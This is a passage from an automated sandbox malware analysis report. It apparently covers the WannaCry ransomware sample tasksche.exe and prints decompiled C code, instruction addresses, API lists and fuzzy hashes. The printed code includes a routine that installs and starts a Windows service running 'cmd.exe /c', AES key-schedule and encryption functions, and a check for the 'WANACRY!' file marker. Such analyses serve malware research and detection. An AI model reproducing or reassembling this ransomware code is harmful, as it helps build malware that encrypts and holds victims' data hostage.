															 *(_t281 + 0x114) = E00406B02(_t269,  *(_t278 + _t212) & 0x000000ff | (0 << 0x00000008 | _t269) << 0x00000008);
															 *(_t281 + 0x118) = _t269;
														}
														goto L57;
													}
												}
												goto L31;
											}
										}
										_t274 =  &(_t274[2]);
										goto L21;
									}
									_push(_v12);
									L004076E8();
									goto L19;
								}
								return 0x700;
							}
							E00406520(_t133);
							L11:
							_pop(_t213);
							goto L12;
						}
						E004064E2(_t213, _t132);
						goto L11;
					}
					goto L8;
				} else {
					if(_t272 == _t208) {
						L8:
						_t204 = _a8;
						 *_t204 =  *((intOrPtr*)( *_t280 + 4));
						 *((char*)(_t204 + 4)) = 0;
						 *((intOrPtr*)(_t204 + 0x108)) = 0;
						 *((intOrPtr*)(_t204 + 0x10c)) = 0;
						 *((intOrPtr*)(_t204 + 0x110)) = 0;
						 *((intOrPtr*)(_t204 + 0x114)) = 0;
						 *((intOrPtr*)(_t204 + 0x118)) = 0;
						 *((intOrPtr*)(_t204 + 0x11c)) = 0;
						 *((intOrPtr*)(_t204 + 0x120)) = 0;
						 *((intOrPtr*)(_t204 + 0x124)) = 0;
						 *((intOrPtr*)(_t204 + 0x128)) = 0;
						L60:
						return 0;
					}
					memcpy(_a8, _t280 + 8, 0x12c);
					goto L60;
				}
			}


















































                      0x00406c40
                      0x00406c40
                      0x00406c4c
                      0x00406c4f
                      0x00406c52
                      0x00406c56
                      0x00406c59
                      0x00407064
                      0x00000000
                      0x00407064
                      0x00406c5f
                      0x00406c64
                      0x00000000
                      0x00000000
                      0x00406c6d
                      0x00406c70
                      0x00406c75
                      0x00406c75
                      0x00406c7c
                      0x00406c7f
                      0x00406ca0
                      0x00406cec
                      0x00406cf1
                      0x00406cfa
                      0x00406cfa
                      0x00406cff
                      0x00406d21
                      0x00406d3e
                      0x00406d52
                      0x00406d5c
                      0x00406d89
                      0x00000000
                      0x00406d89
                      0x00406d5e
                      0x00406d61
                      0x00406d68
                      0x00406d7e
                      0x00406d95
                      0x00406d9b
                      0x00406dab
                      0x00406db0
                      0x00406db8
                      0x00406dbe
                      0x00406dbe
                      0x00406dbe
                      0x00406dc2
                      0x00000000
                      0x00000000
                      0x00406dd0
                      0x00406dd6
                      0x00000000
                      0x00406dd9
                      0x00406ddf
                      0x00406de5
                      0x00406e11
                      0x00406e11
                      0x00406e11
                      0x00000000
                      0x00406e11
                      0x00406ded
                      0x00406df3
                      0x00000000
                      0x00000000
                      0x00406dfb
                      0x00406e01
                      0x00000000
                      0x00000000
                      0x00406e09
                      0x00406e0f
                      0x00406e1b
                      0x00406e20
                      0x00406e28
                      0x00406e2c
                      0x00406e3c
                      0x00406e3e
                      0x00406e41
                      0x00406e44
                      0x00406e46
                      0x00406e61
                      0x00406e6b
                      0x00406e6d
                      0x00406e78
                      0x00406e7a
                      0x00406e7c
                      0x00406e7c
                      0x00406e7e
                      0x00406e82
                      0x00406e88
                      0x00406e8a
                      0x00406e8a
                      0x00406e96
                      0x00406e98
                      0x00406e98
                      0x00406ea3
                      0x00406ea5
                      0x00406ea5
                      0x00406eae
                      0x00406eb0
                      0x00406eb0
                      0x00406ebb
                      0x00406ebd
                      0x00406ebd
                      0x00406eca
                      0x00406ed3
                      0x00406ee6
                      0x00406ef2
                      0x00406ef5
                      0x00406efb
                      0x00406efe
                      0x00406f05
                      0x00406f08
                      0x00406f0e
                      0x00406f14
                      0x00406f1a
                      0x00406f20
                      0x00406f26
                      0x00406f2c
                      0x00407037
                      0x00407039
                      0x0040703b
                      0x0040703c
                      0x00407041
                      0x00407048
                      0x0040704f
                      0x0040705a
                      0x00000000
                      0x00406f32
                      0x00406f32
                      0x00406f3a
                      0x00406f41
                      0x00406f45
                      0x00406f4d
                      0x00406f5d
                      0x00000000
                      0x00000000
                      0x00406f62
                      0x00406f6c
                      0x00000000
                      0x00000000
                      0x00000000
                      0x00406f6e
                      0x00406f73
                      0x00406f81
                      0x00406f86
                      0x00406f89
                      0x00406f8f
                      0x00406f92
                      0x00406f94
                      0x00406f99
                      0x00406f9e
                      0x00406fba
                      0x00406fc0
                      0x00406fc4
                      0x00406fc4
                      0x00406fcc
                      0x00406fce
                      0x00406fd3
                      0x00406fd8
                      0x00406ff4
                      0x00406ffb
                      0x00406ffb
                      0x00407005
                      0x00407007
                      0x0040702a
                      0x00407031
                      0x00407031
                      0x00000000
                      0x00407005
                      0x00406f2c
                      0x00000000
                      0x00406e0f
                      0x00406dd0
                      0x00406dcb
                      0x00000000
                      0x00406dcb
                      0x00406d80
                      0x00406d83
                      0x00000000
                      0x00406d88
                      0x00000000
                      0x00406d40
                      0x00406d02
                      0x00406cf9
                      0x00406cf9
                      0x00000000
                      0x00406cf9
                      0x00406cf4
                      0x00000000
                      0x00406cf4
                      0x00000000
                      0x00406c81
                      0x00406c83
                      0x00406ca2
                      0x00406ca7
                      0x00406caa
                      0x00406cae
                      0x00406cb1
                      0x00406cb7
                      0x00406cbd
                      0x00406cc3
                      0x00406cc9
                      0x00406ccf
                      0x00406cd5
                      0x00406cdb
                      0x00406ce1
                      0x00407060
                      0x00000000
                      0x00407060
                      0x00406c91
                      0x00000000
                      0x00406c96

                      APIs
                      • memcpy.MSVCRT(?,?,0000012C,?), ref: 00406C91
                      Strings
                      Memory Dump Source
                      • Source File: 00000018.00000002.476808460.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000018.00000002.476796809.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476831292.0000000000408000.00000002.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476855965.000000000040E000.00000008.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476874714.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_24_2_400000_tasksche.jbxd
                      Yara matches
                      Similarity
                      • API ID: memcpy
                      • String ID: /../$/..\$\../$\..\
                      • API String ID: 3510742995-3885502717
                      • Opcode ID: 24419fe79de55b9e050378da4d3ae0875fe08eefc49193e89ac78033597620dd
                      • Instruction ID: 8d35de4500b3f4065ad8a7d009fa2f60231b6be20ed9f01f65d9d1a3966dd706
                      • Opcode Fuzzy Hash: 24419fe79de55b9e050378da4d3ae0875fe08eefc49193e89ac78033597620dd
                      • Instruction Fuzzy Hash: 98D147729082459FDB15CF68C881AEABBF4EF05300F15857FE49AB7381C738A915CB98
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00401CE8 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 75serviceCOMMON
                      Download Yara Rule
                      C-Code - Quality: 100%
                      			E00401CE8(intOrPtr _a4) {
				void* _v8;
				int _v12;
				void* _v16;
				char _v1040;
				void* _t12;
				void* _t13;
				void* _t31;
				int _t32;

				_v12 = 0;
				_t12 = OpenSCManagerA(0, 0, 0xf003f);
				_v8 = _t12;
				if(_t12 != 0) {
					_t13 = OpenServiceA(_t12, 0x40f8ac, 0xf01ff);
					_v16 = _t13;
					if(_t13 == 0) {
						sprintf( &_v1040, "cmd.exe /c \"%s\"", _a4);
						_t31 = CreateServiceA(_v8, 0x40f8ac, 0x40f8ac, 0xf01ff, 0x10, 2, 1,  &_v1040, 0, 0, 0, 0, 0);
						if(_t31 != 0) {
							StartServiceA(_t31, 0, 0);
							CloseServiceHandle(_t31);
							_v12 = 1;
						}
						_t32 = _v12;
					} else {
						StartServiceA(_t13, 0, 0);
						CloseServiceHandle(_v16);
						_t32 = 1;
					}
					CloseServiceHandle(_v8);
					return _t32;
				}
				return 0;
			}











                      0x00401cfb
                      0x00401cfe
                      0x00401d06
                      0x00401d09
                      0x00401d21
                      0x00401d29
                      0x00401d2c
                      0x00401d54
                      0x00401d7b
                      0x00401d7f
                      0x00401d84
                      0x00401d8b
                      0x00401d91
                      0x00401d91
                      0x00401d98
                      0x00401d2e
                      0x00401d31
                      0x00401d3a
                      0x00401d42
                      0x00401d42
                      0x00401d9e
                      0x00000000
                      0x00401da7
                      0x00000000

                      APIs
                      • OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F), ref: 00401CFE
                      • OpenServiceA.ADVAPI32(00000000,0040F8AC,000F01FF), ref: 00401D21
                      • StartServiceA.ADVAPI32(00000000,00000000,00000000), ref: 00401D31
                      • CloseServiceHandle.ADVAPI32(?), ref: 00401D3A
                      • CloseServiceHandle.ADVAPI32(?), ref: 00401D9E
                      Strings
                      Memory Dump Source
                      • Source File: 00000018.00000002.476808460.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000018.00000002.476796809.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476831292.0000000000408000.00000002.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476855965.000000000040E000.00000008.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476874714.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_24_2_400000_tasksche.jbxd
                      Yara matches
                      Similarity
                      • API ID: Service$CloseHandleOpen$ManagerStart
                      • String ID: cmd.exe /c "%s"
                      • API String ID: 1485051382-955883872
                      • Opcode ID: 4dc5d8109ff1f89eb2c8b95274d01a87daa9a34efcc40f147da3f0b4c8cffa2a
                      • Instruction ID: 93977d8af42d47d1d9866270745c8e9c50065656b45fe828c5c40e24baaa5e60
                      • Opcode Fuzzy Hash: 4dc5d8109ff1f89eb2c8b95274d01a87daa9a34efcc40f147da3f0b4c8cffa2a
                      • Instruction Fuzzy Hash: 6411AF71900118BBDB205B659E4CE9FBF7CEF85745F10407AF601F21A0CA744949DB68
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00402A76 Relevance: 16.1, APIs: 8, Strings: 1, Instructions: 334COMMONCrypto
                      Download Yara Rule
                      C-Code - Quality: 54%
                      			E00402A76(void* __ecx, signed int _a4, void* _a6, void* _a7, signed int _a8, signed int _a12, signed char* _a16) {
				signed int _v8;
				signed int _v12;
				char _v24;
				int _t193;
				signed int _t198;
				int _t199;
				intOrPtr _t200;
				signed int* _t205;
				signed char* _t206;
				signed int _t208;
				signed int _t210;
				signed int* _t216;
				signed int _t217;
				signed int* _t220;
				signed int* _t229;
				void* _t252;
				void* _t280;
				void* _t281;
				signed int _t283;
				signed int _t289;
				signed int _t290;
				signed char* _t291;
				signed int _t292;
				void* _t303;
				void* _t313;
				intOrPtr* _t314;
				void* _t315;
				intOrPtr* _t316;
				signed char* _t317;
				signed char* _t319;
				signed int _t320;
				signed int _t322;
				void* _t326;
				void* _t327;
				signed int _t329;
				signed int _t337;
				intOrPtr _t338;
				signed int _t340;
				intOrPtr _t341;
				void* _t342;
				signed int _t345;
				signed int* _t346;
				signed int _t347;
				void* _t352;
				void* _t353;
				void* _t354;

				_t352 = __ecx;
				if(_a4 == 0) {
					_a8 = 0x40f57c;
					__imp__??0exception@@QAE@ABQBD@Z( &_a8);
					_push(0x40d570);
					_push( &_v24);
					L0040776E();
				}
				_t283 = _a12;
				_t252 = 0x18;
				_t342 = 0x10;
				if(_t283 != _t342 && _t283 != _t252 && _t283 != 0x20) {
					_t283 =  &_v24;
					_a8 = 0x40f57c;
					__imp__??0exception@@QAE@ABQBD@Z( &_a8);
					_push(0x40d570);
					_push( &_v24);
					L0040776E();
				}
				_t193 = _a16;
				if(_t193 != _t342 && _t193 != _t252 && _t193 != 0x20) {
					_t283 =  &_v24;
					_a8 = 0x40f57c;
					__imp__??0exception@@QAE@ABQBD@Z( &_a8);
					_t193 =  &_v24;
					_push(0x40d570);
					_push(_t193);
					L0040776E();
				}
				 *(_t352 + 0x3cc) = _t193;
				 *(_t352 + 0x3c8) = _t283;
				memcpy(_t352 + 0x3d0, _a8, _t193);
				memcpy(_t352 + 0x3f0, _a8,  *(_t352 + 0x3cc));
				_t198 =  *(_t352 + 0x3c8);
				_t354 = _t353 + 0x18;
				if(_t198 == _t342) {
					_t199 =  *(_t352 + 0x3cc);
					if(_t199 != _t342) {
						_t200 = ((0 | _t199 != _t252) - 0x00000001 & 0xfffffffe) + 0xe;
					} else {
						_t200 = 0xa;
					}
					goto L17;
				} else {
					if(_t198 == _t252) {
						_t200 = ((0 |  *(_t352 + 0x3cc) == 0x00000020) - 0x00000001 & 0x000000fe) + 0xe;
						L17:
						 *((intOrPtr*)(_t352 + 0x410)) = _t200;
						L18:
						asm("cdq");
						_t289 = 4;
						_t326 = 0;
						_a12 =  *(_t352 + 0x3cc) / _t289;
						if( *((intOrPtr*)(_t352 + 0x410)) < 0) {
							L23:
							_t327 = 0;
							if( *((intOrPtr*)(_t352 + 0x410)) < 0) {
								L28:
								asm("cdq");
								_t290 = 4;
								_t291 = _a4;
								_t345 = ( *((intOrPtr*)(_t352 + 0x410)) + 1) * _a12;
								_v12 = _t345;
								_t329 =  *(_t352 + 0x3c8) / _t290;
								_t205 = _t352 + 0x414;
								_v8 = _t329;
								if(_t329 <= 0) {
									L31:
									_a8 = _a8 & 0x00000000;
									if(_t329 <= 0) {
										L35:
										if(_a8 >= _t345) {
											L51:
											_t206 = 1;
											_a16 = _t206;
											if( *((intOrPtr*)(_t352 + 0x410)) <= _t206) {
												L57:
												 *((char*)(_t352 + 4)) = 1;
												return _t206;
											}
											_a8 = _t352 + 0x208;
											do {
												_t292 = _a12;
												if(_t292 <= 0) {
													goto L56;
												}
												_t346 = _a8;
												do {
													_t208 =  *_t346;
													_a4 = _t208;
													 *_t346 =  *0x0040ABFC ^  *0x0040AFFC ^  *0x0040B3FC ^  *(0x40b7fc + (_t208 & 0x000000ff) * 4);
													_t346 =  &(_t346[1]);
													_t292 = _t292 - 1;
												} while (_t292 != 0);
												L56:
												_a16 =  &(_a16[1]);
												_a8 = _a8 + 0x20;
												_t206 = _a16;
											} while (_t206 <  *((intOrPtr*)(_t352 + 0x410)));
											goto L57;
										}
										_a16 = 0x40bbfc;
										do {
											_t210 =  *(_t352 + 0x410 + _t329 * 4);
											_a4 = _t210;
											 *(_t352 + 0x414) =  *(_t352 + 0x414) ^ ((( *0x004089FC ^  *_a16) << 0x00000008 ^  *0x004089FC & 0x000000ff) << 0x00000008 ^  *((_t210 & 0x000000ff) + 0x4089fc) & 0x000000ff) << 0x00000008 ^  *0x004089FC & 0x000000ff;
											_a16 = _a16 + 1;
											if(_t329 == 8) {
												_t216 = _t352 + 0x418;
												_t303 = 3;
												do {
													 *_t216 =  *_t216 ^  *(_t216 - 4);
													_t216 =  &(_t216[1]);
													_t303 = _t303 - 1;
												} while (_t303 != 0);
												_t217 =  *(_t352 + 0x420);
												_a4 = _t217;
												_t220 = _t352 + 0x428;
												 *(_t352 + 0x424) =  *(_t352 + 0x424) ^ (( *0x004089FC << 0x00000008 ^  *0x004089FC & 0x000000ff) << 0x00000008 ^  *0x004089FC & 0x000000ff) << 0x00000008 ^  *((_t217 & 0x000000ff) + 0x4089fc) & 0x000000ff;
												_t313 = 3;
												do {
													 *_t220 =  *_t220 ^  *(_t220 - 4);
													_t220 =  &(_t220[1]);
													_t313 = _t313 - 1;
												} while (_t313 != 0);
												L46:
												_a4 = _a4 & 0x00000000;
												if(_t329 <= 0) {
													goto L50;
												}
												_t314 = _t352 + 0x414;
												while(_a8 < _t345) {
													asm("cdq");
													_t347 = _a8 / _a12;
													asm("cdq");
													_t337 = _a8 % _a12;
													 *((intOrPtr*)(_t352 + 8 + (_t337 + _t347 * 8) * 4)) =  *_t314;
													_a4 = _a4 + 1;
													_t345 = _v12;
													_t338 =  *_t314;
													_t314 = _t314 + 4;
													_a8 = _a8 + 1;
													 *((intOrPtr*)(_t352 + 0x1e8 + (_t337 + ( *((intOrPtr*)(_t352 + 0x410)) - _t347) * 8) * 4)) = _t338;
													_t329 = _v8;
													if(_a4 < _t329) {
														continue;
													}
													goto L50;
												}
												goto L51;
											}
											if(_t329 <= 1) {
												goto L46;
											}
											_t229 = _t352 + 0x418;
											_t315 = _t329 - 1;
											do {
												 *_t229 =  *_t229 ^  *(_t229 - 4);
												_t229 =  &(_t229[1]);
												_t315 = _t315 - 1;
											} while (_t315 != 0);
											goto L46;
											L50:
										} while (_a8 < _t345);
										goto L51;
									}
									_t316 = _t352 + 0x414;
									while(_a8 < _t345) {
										asm("cdq");
										_a4 = _a8 / _a12;
										asm("cdq");
										_t340 = _a8 % _a12;
										 *((intOrPtr*)(_t352 + 8 + (_t340 + _a4 * 8) * 4)) =  *_t316;
										_a8 = _a8 + 1;
										_t341 =  *_t316;
										_t316 = _t316 + 4;
										 *((intOrPtr*)(_t352 + 0x1e8 + (_t340 + ( *((intOrPtr*)(_t352 + 0x410)) - _a4) * 8) * 4)) = _t341;
										_t329 = _v8;
										if(_a8 < _t329) {
											continue;
										}
										goto L35;
									}
									goto L51;
								}
								_a8 = _t329;
								do {
									_t317 =  &(_t291[1]);
									 *_t205 = ( *_t291 & 0x000000ff) << 0x18;
									 *_t205 =  *_t205 | ( *_t317 & 0x000000ff) << 0x00000010;
									_t319 =  &(_t317[2]);
									 *_t205 =  *_t205 |  *_t319 & 0x000000ff;
									_t291 =  &(_t319[1]);
									_t205 =  &(_t205[1]);
									_t60 =  &_a8;
									 *_t60 = _a8 - 1;
								} while ( *_t60 != 0);
								goto L31;
							}
							_t280 = _t352 + 0x1e8;
							do {
								_t320 = _a12;
								if(_t320 > 0) {
									memset(_t280, 0, _t320 << 2);
									_t354 = _t354 + 0xc;
								}
								_t327 = _t327 + 1;
								_t280 = _t280 + 0x20;
							} while (_t327 <=  *((intOrPtr*)(_t352 + 0x410)));
							goto L28;
						}
						_t281 = _t352 + 8;
						do {
							_t322 = _a12;
							if(_t322 > 0) {
								memset(_t281, 0, _t322 << 2);
								_t354 = _t354 + 0xc;
							}
							_t326 = _t326 + 1;
							_t281 = _t281 + 0x20;
						} while (_t326 <=  *((intOrPtr*)(_t352 + 0x410)));
						goto L23;
					}
					 *((intOrPtr*)(_t352 + 0x410)) = 0xe;
					goto L18;
				}
			}

















































                      0x00402a83
                      0x00402a85
                      0x00402a8e
                      0x00402a95
                      0x00402a9e
                      0x00402aa3
                      0x00402aa4
                      0x00402aa4
                      0x00402aa9
                      0x00402aae
                      0x00402ab1
                      0x00402ab4
                      0x00402ac2
                      0x00402ac6
                      0x00402acd
                      0x00402ad6
                      0x00402adb
                      0x00402adc
                      0x00402adc
                      0x00402ae1
                      0x00402ae6
                      0x00402af4
                      0x00402af8
                      0x00402aff
                      0x00402b05
                      0x00402b08
                      0x00402b0d
                      0x00402b0e
                      0x00402b0e
                      0x00402b14
                      0x00402b23
                      0x00402b2a
                      0x00402b3f
                      0x00402b44
                      0x00402b4a
                      0x00402b4f
                      0x00402b75
                      0x00402b7d
                      0x00402b92
                      0x00402b7f
                      0x00402b81
                      0x00402b81
                      0x00000000
                      0x00402b51
                      0x00402b53
                      0x00402b70
                      0x00402b94
                      0x00402b94
                      0x00402b9a
                      0x00402ba2
                      0x00402ba3
                      0x00402ba6
                      0x00402bae
                      0x00402bb1
                      0x00402bcf
                      0x00402bcf
                      0x00402bd7
                      0x00402bf8
                      0x00402c00
                      0x00402c01
                      0x00402c0b
                      0x00402c0e
                      0x00402c12
                      0x00402c15
                      0x00402c17
                      0x00402c1f
                      0x00402c22
                      0x00402c4e
                      0x00402c4e
                      0x00402c54
                      0x00402ca5
                      0x00402ca8
                      0x00402e04
                      0x00402e06
                      0x00402e0d
                      0x00402e10
                      0x00402e73
                      0x00402e73
                      0x00402e7b
                      0x00402e7b
                      0x00402e18
                      0x00402e1b
                      0x00402e1b
                      0x00402e20
                      0x00000000
                      0x00000000
                      0x00402e22
                      0x00402e25
                      0x00402e25
                      0x00402e29
                      0x00402e59
                      0x00402e5b
                      0x00402e5e
                      0x00402e5e
                      0x00402e61
                      0x00402e61
                      0x00402e64
                      0x00402e68
                      0x00402e6b
                      0x00000000
                      0x00402e1b
                      0x00402cae
                      0x00402cb5
                      0x00402cb5
                      0x00402cbf
                      0x00402d05
                      0x00402d0b
                      0x00402d11
                      0x00402d34
                      0x00402d3a
                      0x00402d3b
                      0x00402d3e
                      0x00402d40
                      0x00402d43
                      0x00402d43
                      0x00402d46
                      0x00402d4e
                      0x00402d8f
                      0x00402d95
                      0x00402d9b
                      0x00402d9c
                      0x00402d9f
                      0x00402da1
                      0x00402da4
                      0x00402da4
                      0x00402da7
                      0x00402da7
                      0x00402dad
                      0x00000000
                      0x00000000
                      0x00402daf
                      0x00402db5
                      0x00402dbf
                      0x00402dc3
                      0x00402dc8
                      0x00402dc9
                      0x00402dcf
                      0x00402ddb
                      0x00402dde
                      0x00402de4
                      0x00402de6
                      0x00402de9
                      0x00402dec
                      0x00402df3
                      0x00402df9
                      0x00000000
                      0x00000000
                      0x00000000
                      0x00402df9
                      0x00000000
                      0x00402db5
                      0x00402d16
                      0x00000000
                      0x00000000
                      0x00402d1c
                      0x00402d22
                      0x00402d25
                      0x00402d28
                      0x00402d2a
                      0x00402d2d
                      0x00402d2d
                      0x00000000
                      0x00402dfb
                      0x00402dfb
                      0x00000000
                      0x00402cb5
                      0x00402c56
                      0x00402c5c
                      0x00402c6a
                      0x00402c6e
                      0x00402c74
                      0x00402c75
                      0x00402c7e
                      0x00402c8b
                      0x00402c91
                      0x00402c93
                      0x00402c96
                      0x00402c9d
                      0x00402ca3
                      0x00000000
                      0x00000000
                      0x00000000
                      0x00402ca3
                      0x00000000
                      0x00402c5c
                      0x00402c24
                      0x00402c27
                      0x00402c2d
                      0x00402c2e
                      0x00402c36
                      0x00402c3f
                      0x00402c43
                      0x00402c45
                      0x00402c46
                      0x00402c49
                      0x00402c49
                      0x00402c49
                      0x00000000
                      0x00402c27
                      0x00402bd9
                      0x00402bdf
                      0x00402bdf
                      0x00402be4
                      0x00402bea
                      0x00402bea
                      0x00402bea
                      0x00402bec
                      0x00402bed
                      0x00402bf0
                      0x00000000
                      0x00402bdf
                      0x00402bb3
                      0x00402bb6
                      0x00402bb6
                      0x00402bbb
                      0x00402bc1
                      0x00402bc1
                      0x00402bc1
                      0x00402bc3
                      0x00402bc4
                      0x00402bc7
                      0x00000000
                      0x00402bb6
                      0x00402b55
                      0x00000000
                      0x00402b55

                      APIs
                      • ??0exception@@QAE@ABQBD@Z.MSVCRT(?,?,?,00000000,00000010,?), ref: 00402A95
                      • _CxxThrowException.MSVCRT(00000010,0040D570,?,00000000,00000010,?), ref: 00402AA4
                      • ??0exception@@QAE@ABQBD@Z.MSVCRT(?,?,?,00000000,00000010,?), ref: 00402ACD
                      • _CxxThrowException.MSVCRT(00000010,0040D570,?,00000000,00000010,?), ref: 00402ADC
                      • ??0exception@@QAE@ABQBD@Z.MSVCRT(?,?,?,00000000,00000010,?), ref: 00402AFF
                      • _CxxThrowException.MSVCRT(00000010,0040D570,?,00000000,00000010,?), ref: 00402B0E
                      • memcpy.MSVCRT(?,?,00000010,?,?,00000000,00000010,?,?), ref: 00402B2A
                      • memcpy.MSVCRT(?,?,?,?,?,00000010,?,?,00000000,00000010,?,?), ref: 00402B3F
                      Strings
                      Memory Dump Source
                      • Source File: 00000018.00000002.476808460.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000018.00000002.476796809.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476831292.0000000000408000.00000002.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476855965.000000000040E000.00000008.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476874714.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_24_2_400000_tasksche.jbxd
                      Yara matches
                      Similarity
                      • API ID: ??0exception@@ExceptionThrow$memcpy
                      • String ID:
                      • API String ID: 1881450474-3916222277
                      • Opcode ID: 13455132f19fce7ccee5142b200569a1d3dc411a47d032a17fbb22a214c81369
                      • Instruction ID: fcfef073648f46ce18afaeffe4143d5033c2e410e09e17396796de68d512254b
                      • Opcode Fuzzy Hash: 13455132f19fce7ccee5142b200569a1d3dc411a47d032a17fbb22a214c81369
                      • Instruction Fuzzy Hash: 8DD1C3706006099FDB28CF29C5846EA77F5FF48314F14C43EE95AEB281D778AA85CB58
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 004014A6 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 178filememoryCOMMON
                      Download Yara Rule
                      APIs
                      • CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040150D
                      • GetFileSizeEx.KERNEL32(00000000,?), ref: 00401529
                      • memcmp.MSVCRT(?,WANACRY!,00000008), ref: 00401572
                      • GlobalAlloc.KERNEL32(00000000,?,?,?,00000010,?,?,?,?), ref: 0040166D
                      • _local_unwind2.MSVCRT(?,000000FF), ref: 004016D6
                      Strings
                      Memory Dump Source
                      • Source File: 00000018.00000002.476808460.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000018.00000002.476796809.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476831292.0000000000408000.00000002.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476855965.000000000040E000.00000008.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476874714.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_24_2_400000_tasksche.jbxd
                      Yara matches
                      Similarity
                      • API ID: File$AllocCreateGlobalSize_local_unwind2memcmp
                      • String ID: WANACRY!
                      • API String ID: 283026544-1240840912
                      • Opcode ID: 3616707767261f84fde6c13708b35c3d4dbb974938da28d5f777545cb9cffa02
                      • Instruction ID: 23909f9b909e50c20e483d6bc4be6e23e355ec3bf8b0a6de4718622c8bde6caa
                      • Opcode Fuzzy Hash: 3616707767261f84fde6c13708b35c3d4dbb974938da28d5f777545cb9cffa02
                      • Instruction Fuzzy Hash: 6E512C71900209ABDB219F95CD84FEEB7BCEB08790F1444BAF515F21A0D739AA45CB28
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 0040350F Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 214COMMONCrypto
                      Download Yara Rule
                      C-Code - Quality: 55%
                      			E0040350F(void* __ecx, signed int _a4, signed char* _a8) {
				signed int _v8;
				signed int _v12;
				signed char _v16;
				signed int _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				signed int _v44;
				char _v56;
				signed int _t150;
				signed int _t151;
				signed int _t155;
				signed int* _t157;
				signed char _t158;
				intOrPtr _t219;
				signed int _t230;
				signed char* _t236;
				signed char* _t237;
				signed char* _t238;
				signed char* _t239;
				signed int* _t240;
				signed char* _t242;
				signed char* _t243;
				signed char* _t245;
				signed int _t260;
				signed int* _t273;
				signed int _t274;
				void* _t275;
				void* _t276;

				_t275 = __ecx;
				if( *((char*)(__ecx + 4)) == 0) {
					__imp__??0exception@@QAE@ABQBD@Z(0x40f570);
					_push(0x40d570);
					_push( &_v56);
					L0040776E();
				}
				_t150 =  *(_t275 + 0x3cc);
				if(_t150 == 0x10) {
					return E00402E7E(_t275, _a4, _a8);
				}
				asm("cdq");
				_t230 = 4;
				_t151 = _t150 / _t230;
				_t274 = _t151;
				asm("sbb eax, eax");
				_t155 = ( ~(_t151 - _t230) & (0 | _t274 != 0x00000006) + 0x00000001) << 5;
				_v28 =  *((intOrPtr*)(_t155 + 0x40bc24));
				_v24 =  *((intOrPtr*)(_t155 + 0x40bc2c));
				_v32 =  *((intOrPtr*)(_t155 + 0x40bc34));
				_t157 = _t275 + 0x454;
				if(_t274 > 0) {
					_v16 = _t274;
					_v8 = _t275 + 8;
					_t242 = _a4;
					do {
						_t243 =  &(_t242[1]);
						 *_t157 = ( *_t242 & 0x000000ff) << 0x18;
						 *_t157 =  *_t157 | ( *_t243 & 0x000000ff) << 0x00000010;
						_t245 =  &(_t243[2]);
						_t273 = _t157;
						 *_t157 =  *_t157 |  *_t245 & 0x000000ff;
						_v8 = _v8 + 4;
						_t242 =  &(_t245[1]);
						_t157 =  &(_t157[1]);
						 *_t273 =  *_t273 ^  *_v8;
						_t27 =  &_v16;
						 *_t27 = _v16 - 1;
					} while ( *_t27 != 0);
				}
				_t158 = 1;
				_v16 = _t158;
				if( *(_t275 + 0x410) > _t158) {
					_v12 = _t275 + 0x28;
					do {
						if(_t274 > 0) {
							_t34 =  &_v28; // 0x403b51
							_t260 =  *_t34;
							_v8 = _v12;
							_a4 = _t260;
							_v36 = _v24 - _t260;
							_t240 = _t275 + 0x434;
							_v40 = _v32 - _t260;
							_v20 = _t274;
							do {
								asm("cdq");
								_v44 = 0;
								asm("cdq");
								asm("cdq");
								_v8 = _v8 + 4;
								 *_t240 =  *(0x4093fc + _v44 * 4) ^  *(0x4097fc + ( *(_t275 + 0x454 + (_v40 + _a4) % _t274 * 4) & 0x000000ff) * 4) ^  *0x00408FFC ^  *0x00408BFC ^  *_v8;
								_t240 =  &(_t240[1]);
								_a4 = _a4 + 1;
								_t84 =  &_v20;
								 *_t84 = _v20 - 1;
							} while ( *_t84 != 0);
						}
						memcpy(_t275 + 0x454, _t275 + 0x434, _t274 << 2);
						_v12 = _v12 + 0x20;
						_t276 = _t276 + 0xc;
						_v16 = _v16 + 1;
						_t158 = _v16;
					} while (_t158 <  *(_t275 + 0x410));
				}
				_v8 = _v8 & 0x00000000;
				if(_t274 > 0) {
